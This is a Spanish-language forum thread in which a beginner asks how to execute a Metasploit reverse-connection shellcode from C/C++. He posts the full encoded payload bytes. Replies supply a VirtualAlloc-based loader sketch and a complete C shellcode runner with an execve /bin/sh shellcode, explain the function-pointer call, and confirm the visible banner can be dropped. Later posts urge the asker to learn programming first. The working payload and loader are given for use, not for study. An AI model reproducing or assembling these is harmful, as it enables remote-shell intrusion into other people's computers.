Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[SOLUCIONADO] ¿Qué hago con la shellcode?

  • 16 Respuestas
  • 5211 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Metadato

  • *
  • Underc0der
  • Mensajes: 59
  • Actividad:
    0%
  • Reputación 0
  • C / C++ & ASM
    • Ver Perfil
« en: Junio 30, 2013, 08:19:16 am »
Hola a todos los usuarios de Underc0de, en esta ocasión les quiero compartir mi duda, por si alguien puede resolverla, el tema va de shellcodes, ya me he informado de que és una shellcode y tal.. Tengo una shellcode maliciosa generada por Metasploit (es un payload de conexión inversa), ¿que código en C / C++ habría que hacer para ejecutar ese shellcode? (si ya se que Metasploit puede generar un ejecutable, también tengo constancia del shellcode2exe, pero yo quiero saber el código en C / C++ que habría que hacer para ejecutar la shellcode para aprender más a fondo el funcionamiento de las shellcodes...)

PD: Si necesitan la shellcode se lo puedo proporcionar...

Saludos!!!
« Última modificación: Octubre 28, 2013, 07:59:02 am por Expermicid »

Desconectado Karcrack

  • *
  • Underc0der
  • Mensajes: 87
  • Actividad:
    0%
  • Reputación 0
  • Se siente observado ¬¬'
    • Ver Perfil
« Respuesta #1 en: Junio 30, 2013, 09:31:43 am »
Simplemente necesitas tener la shellcode mapeada en memoria con privilegios de ejecución... Puedes hacerlo con VirtualAlloc() o hacer uso de los _emit para meter directamente en tu ejecutable la shellcode.

Una vez la tengas un su sitio simplemente defines el puntero como función y lo llamas.

Un esbozo:
Código: C++
  1. PVOID myMem = VirtualAlloc(...);
  2. memcpy(myMem, shellcode_array, sizeof(shellcode_array));
  3. myMem();
  4.  

Saludos y suerte :)
I code for $$$.

(PGP ID 0xCC050E77)
ASM, C, C++, VB6... skilled [malware] developer

Desconectado Metadato

  • *
  • Underc0der
  • Mensajes: 59
  • Actividad:
    0%
  • Reputación 0
  • C / C++ & ASM
    • Ver Perfil
« Respuesta #2 en: Junio 30, 2013, 09:57:36 am »
Simplemente necesitas tener la shellcode mapeada en memoria con privilegios de ejecución... Puedes hacerlo con VirtualAlloc() o hacer uso de los _emit para meter directamente en tu ejecutable la shellcode.

Una vez la tengas un su sitio simplemente defines el puntero como función y lo llamas.

Un esbozo:
Código: C++
  1. PVOID myMem = VirtualAlloc(...);
  2. memcpy(myMem, shellcode_array, sizeof(shellcode_array));
  3. myMem();
  4.  

Saludos y suerte :)

Gracias por tu ayuda, pero recién acabo de adentrarme en el lenguaje de C / C++ , ¿Podrías decirme donde colocar la shellcode en tu código? Y a ser posible explicarlo un poco para aprender.

¿Y la shellcode la tengo que dejar en un solo string (quitando las "", las comas, el + y los espacios) o la dejo tal cual está?

Bueno mejor, te dejo la shellcode y tu ya me dices compañero:

Código: [Seleccionar]
buf =
"\xbe\x78\x14\xef\x42\xd9\xc9\xd9\x74\x24\xf4\x5f\x2b\xc9" +
"\xb1\x49\x31\x77\x14\x83\xef\xfc\x03\x77\x10\x9a\xe1\x13" +
"\xaa\xd3\x0a\xec\x2b\x83\x83\x09\x1a\x91\xf0\x5a\x0f\x25" +
"\x72\x0e\xbc\xce\xd6\xbb\x37\xa2\xfe\xcc\xf0\x08\xd9\xe3" +
"\x01\xbd\xe5\xa8\xc2\xdc\x99\xb2\x16\x3e\xa3\x7c\x6b\x3f" +
"\xe4\x61\x84\x6d\xbd\xee\x37\x81\xca\xb3\x8b\xa0\x1c\xb8" +
"\xb4\xda\x19\x7f\x40\x50\x23\x50\xf9\xef\x6b\x48\x71\xb7" +
"\x4b\x69\x56\xa4\xb0\x20\xd3\x1e\x42\xb3\x35\x6f\xab\x85" +
"\x79\x23\x92\x29\x74\x3a\xd2\x8e\x67\x49\x28\xed\x1a\x49" +
"\xeb\x8f\xc0\xdc\xee\x28\x82\x46\xcb\xc9\x47\x10\x98\xc6" +
"\x2c\x57\xc6\xca\xb3\xb4\x7c\xf6\x38\x3b\x53\x7e\x7a\x1f" +
"\x77\xda\xd8\x3e\x2e\x86\x8f\x3f\x30\x6e\x6f\xe5\x3a\x9d" +
"\x64\x9f\x60\xca\x49\xad\x9a\x0a\xc6\xa6\xe9\x38\x49\x1c" +
"\x66\x71\x02\xba\x71\x76\x39\x7a\xed\x89\xc2\x7a\x27\x4e" +
"\x96\x2a\x5f\x67\x97\xa1\x9f\x88\x42\x65\xf0\x26\x3d\xc5" +
"\xa0\x86\xed\xad\xaa\x08\xd1\xcd\xd4\xc2\x7a\x67\x2e\x85" +
"\x44\xdf\x46\xd0\x2d\x1d\xa7\xcb\xf1\xa8\x41\x81\x19\xfc" +
"\xda\x3e\x83\xa5\x91\xdf\x4c\x70\xdc\xe0\xc7\x76\x20\xae" +
"\x2f\xf3\x32\x47\xc0\x4e\x68\xce\xdf\x65\x07\xef\x75\x81" +
"\x8e\xb8\xe1\x8b\xf7\x8f\xad\x74\xd2\x9b\x64\xe0\x9d\xf3" +
"\x88\xe4\x1d\x04\xdf\x6e\x1e\x6c\x87\xca\x4d\x89\xc8\xc7" +
"\xe1\x02\x5d\xe7\x53\xf6\xf6\x8f\x59\x21\x30\x10\xa1\x04" +
"\xc0\x6d\x74\x61\x46\x87\xf2\x81\x8a"


Gracias de nuevo y saludos!!
« Última modificación: Junio 30, 2013, 10:12:12 am por Metadato »

Desconectado mr.blood

« Respuesta #3 en: Junio 30, 2013, 12:01:30 pm »
Código: C
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  5.  
  6. int main(int argc, char **argv)
  7. {
  8.         printf ("TinShell V1.0 : By Sagrini : %d bytes\n", strlen (code));
  9.         (*(void(*)()) code)();
  10.         return 0;
  11. }
  12.  

Te sirve?

Sa1uDoS

Desconectado Metadato

  • *
  • Underc0der
  • Mensajes: 59
  • Actividad:
    0%
  • Reputación 0
  • C / C++ & ASM
    • Ver Perfil
« Respuesta #4 en: Junio 30, 2013, 12:03:38 pm »
Código: C
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  5.  
  6. int main(int argc, char **argv)
  7. {
  8.         printf ("TinShell V1.0 : By Sagrini : %d bytes\n", strlen (code));
  9.         (*(void(*)()) code)();
  10.         return 0;
  11. }
  12.  

Te sirve?

Sa1uDoS

Claro, por que no, ¿pero esa shellcode es la mía o tengo que poner la mía en un solo string?
Pero les pido por favor que expliquen un poco el código para que pueda comprender mejor el funcionamiento y aprender.
« Última modificación: Junio 30, 2013, 12:15:02 pm por Metadato »

Desconectado mr.blood

« Respuesta #5 en: Junio 30, 2013, 12:05:22 pm »
Ese es un código de Sagrini.

Donde pone code[]="..." pones tu shellcode ;).

Sa1uDoS

Desconectado Metadato

  • *
  • Underc0der
  • Mensajes: 59
  • Actividad:
    0%
  • Reputación 0
  • C / C++ & ASM
    • Ver Perfil
« Respuesta #6 en: Junio 30, 2013, 12:16:23 pm »
Ese es un código de Sagrini.

Donde pone code[]="..." pones tu shellcode ;).

Sa1uDoS

Graacias de verdad, ¿podrías explicar un poco el funcionamiento de este código si no és mucho pedir?

Saludos compañero.

Desconectado mr.blood

« Respuesta #7 en: Junio 30, 2013, 12:38:54 pm »
Tienes un array de char, cada char ocupa 1 byte, en el metes la shellcode byte a byte.

El printf imprime la longitud de la shellcode.

(*(void(*)()) code)();

Simplemente llama a code como si fuera una función sin parámetros y que no devuelve ningún valor.

Sa1uDoS

Desconectado Metadato

  • *
  • Underc0der
  • Mensajes: 59
  • Actividad:
    0%
  • Reputación 0
  • C / C++ & ASM
    • Ver Perfil
« Respuesta #8 en: Junio 30, 2013, 04:13:35 pm »
Tienes un array de char, cada char ocupa 1 byte, en el metes la shellcode byte a byte.

El printf imprime la longitud de la shellcode.

(*(void(*)()) code)();

Simplemente llama a code como si fuera una función sin parámetros y que no devuelve ningún valor.

Sa1uDoS

Grácias por su tiempo compañero!! Una última cosa, en el printf el texto TinShell V1.0 : By Sagrini : %d bytes\n ¿Se podría modificar todo, menos el %d bytes\n? Por ejemplo, dejar sólo el %d bytes\n para qué no se muestre ningún texto al ejecutarlo....

¿Se puede compilar con un compilador de C++ (Dev C++)? Por qué si no me equivoco, esta codeado en C.

Ahora sólo falta testearlo!!

Saludos!!!
« Última modificación: Junio 30, 2013, 04:19:36 pm por Metadato »

Desconectado mr.blood

« Respuesta #9 en: Junio 30, 2013, 04:39:21 pm »
Sí, es C, puedes quitar la sentencia del printf. Solo muestra la longitud de la shellcode, es algo opcional.

Puedes compilar con gcc o g++ como quieras, lo suyo, por ser C, es compilar con gcc ;). (Dev-C++ es un IDE, bastante obsoleto por cierto, te recomiendo usar otro como Code::Blocks).

Sa1uDoS

Desconectado Karcrack

  • *
  • Underc0der
  • Mensajes: 87
  • Actividad:
    0%
  • Reputación 0
  • Se siente observado ¬¬'
    • Ver Perfil
« Respuesta #10 en: Junio 30, 2013, 06:14:44 pm »
Raro será que tengas permisos de ejecución declarando así la shellcode :-\ DEP lo impedirá...
I code for $$$.

(PGP ID 0xCC050E77)
ASM, C, C++, VB6... skilled [malware] developer

Desconectado mr.blood

« Respuesta #11 en: Junio 30, 2013, 06:24:42 pm »
No se en Win, no lo toco demasiado, pero en Linux funciona ;).

Debería funcionar dándole los permisos adecuados no?

Sa1uDoS

Desconectado Metadato

  • *
  • Underc0der
  • Mensajes: 59
  • Actividad:
    0%
  • Reputación 0
  • C / C++ & ASM
    • Ver Perfil
« Respuesta #12 en: Junio 30, 2013, 06:45:54 pm »
Karcrack, ¿podrías poner tu código completo con mi shellcode ó con otra shellcode más corta (si te és mucho trabajo poner la mía) y explicarlo un poco? Supongo que es algo pesado... Pero me harías un GRAN favor, gracias!!
« Última modificación: Junio 30, 2013, 06:47:59 pm por Metadato »

Desconectado Snifer

  • *
  • Underc0der
  • Mensajes: 1439
  • Actividad:
    0%
  • Reputación 1
  • [email protected]'s
    • Ver Perfil
    • Snifer@L4bs
  • Twitter: sniferl4bs
« Respuesta #13 en: Junio 30, 2013, 06:56:59 pm »
Metadato veo que recien estas aprendiendo y seria mas que bien que te pongas a investigar, y eso de hacer esos cambios en el còdigo me suena a lamer con todo respeto, deberias  de ponerte a revisar enserio y no modificar ni hacerte validar tu codigo!

Regards,
Snifer
http://www.sniferl4bs.com


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



Desconectado Metadato

  • *
  • Underc0der
  • Mensajes: 59
  • Actividad:
    0%
  • Reputación 0
  • C / C++ & ASM
    • Ver Perfil
« Respuesta #14 en: Junio 30, 2013, 07:23:56 pm »
Metadato veo que recien estas aprendiendo y seria mas que bien que te pongas a investigar, y eso de hacer esos cambios en el còdigo me suena a lamer con todo respeto, deberias  de ponerte a revisar enserio y no modificar ni hacerte validar tu codigo!

Regards,
Snifer

Créeme antes de postear investigo hasta donde llegan mis conocimientos, y no pretendo modificar nada, solo quiero aprender manejando los códigos, para comprenderlos.

Te doy la razón en parte, pero por desgracia no tengo tanto tiempo para aprender un lenguaje de programación a fondo para hacer sólo una cosa (lo que pido en éste post).

De todos modos gracias por tu consejo y cuando tenga tiempo empezaré a leerme manuales, papers y todo lo que encuentre sobre este lenguaje... Antes de ponerme a ello: ¿Que diferencias hay entre C y C++ , cual me conviene?

Saludos!
« Última modificación: Junio 30, 2013, 07:28:23 pm por Metadato »

Desconectado hdbreaker

  • *
  • Underc0der
  • Mensajes: 411
  • Actividad:
    0%
  • Reputación 0
  • HD_Breaker
    • Ver Perfil
    • Security Signal
    • Email
  • Skype: hdbreaker96
  • Twitter: @SecSignal
« Respuesta #15 en: Junio 30, 2013, 08:35:20 pm »
Recomendación... primero aprende C o cualquier otro lenguaje de programación, aprende desde lo mínimo hasta donde puedas y después intenta meterte en el mundo de los exploits porq... si no sabes programar como sabras en q sector de memoria están las cosas, osea no sabes ni lo que es un array por lo q veo, y eso realmente es bacico, aprende a programar antes de proseguir... sino la gente te va a estar haciendo tu trabajo y nunca vas a aprender por mas q llores grites o patalees, eso es la programación bro prueba y error 1000 veces hasta q sepas q estas haciendo y por favor estudíate un lenguaje de programación enserio, para saber que es una variable cuales son los bloques de programación aprende programación estructurada y luego programación orientada a objetos, yo te recomiendo empezar por python es lindo potente y simple, y puedes generar exploits

Ser Libres es un Privilegio por el cual pocos estamos dispuestos a correr el riesgo

Desconectado Metadato

  • *
  • Underc0der
  • Mensajes: 59
  • Actividad:
    0%
  • Reputación 0
  • C / C++ & ASM
    • Ver Perfil
« Respuesta #16 en: Julio 01, 2013, 08:10:21 am »
Sí, me pondré a ello, empezaré a leerme manuales y papers cuando tenga tiempo.. Pero si alguien me puede dar el código ya hecho se lo agradecería =D

Saludos!!

 

¿Te gustó el post? COMPARTILO!



[SOLUCIONADO] ¿Kali Linux o Kali Linux Ligth ?

Iniciado por worq

Respuestas: 2
Vistas: 22465
Último mensaje Noviembre 21, 2017, 12:28:54 pm
por Codig0Bit
[SOLUCIONADO] ¿Como publicar un software como software libre?

Iniciado por FuriosoJack

Respuestas: 2
Vistas: 8263
Último mensaje Mayo 23, 2017, 07:24:22 am
por HATI
[SOLUCIONADO] Multiuploader de imagenes con mysql, hosting de imagenes con mysql

Iniciado por graphixx

Respuestas: 4
Vistas: 9655
Último mensaje Marzo 26, 2013, 05:42:58 pm
por Xt3mP
[SOLUCIONADO] Linux Mint, errores, errores y mas errores...

Iniciado por n1sendev

Respuestas: 12
Vistas: 12813
Último mensaje Noviembre 22, 2017, 06:50:55 am
por RuidosoBSD
[SOLUCIONADO] Ayuda urgente con Virus "Virus.Win32Sality"

Iniciado por Napsters

Respuestas: 6
Vistas: 10844
Último mensaje Junio 11, 2012, 03:38:18 am
por Satyricon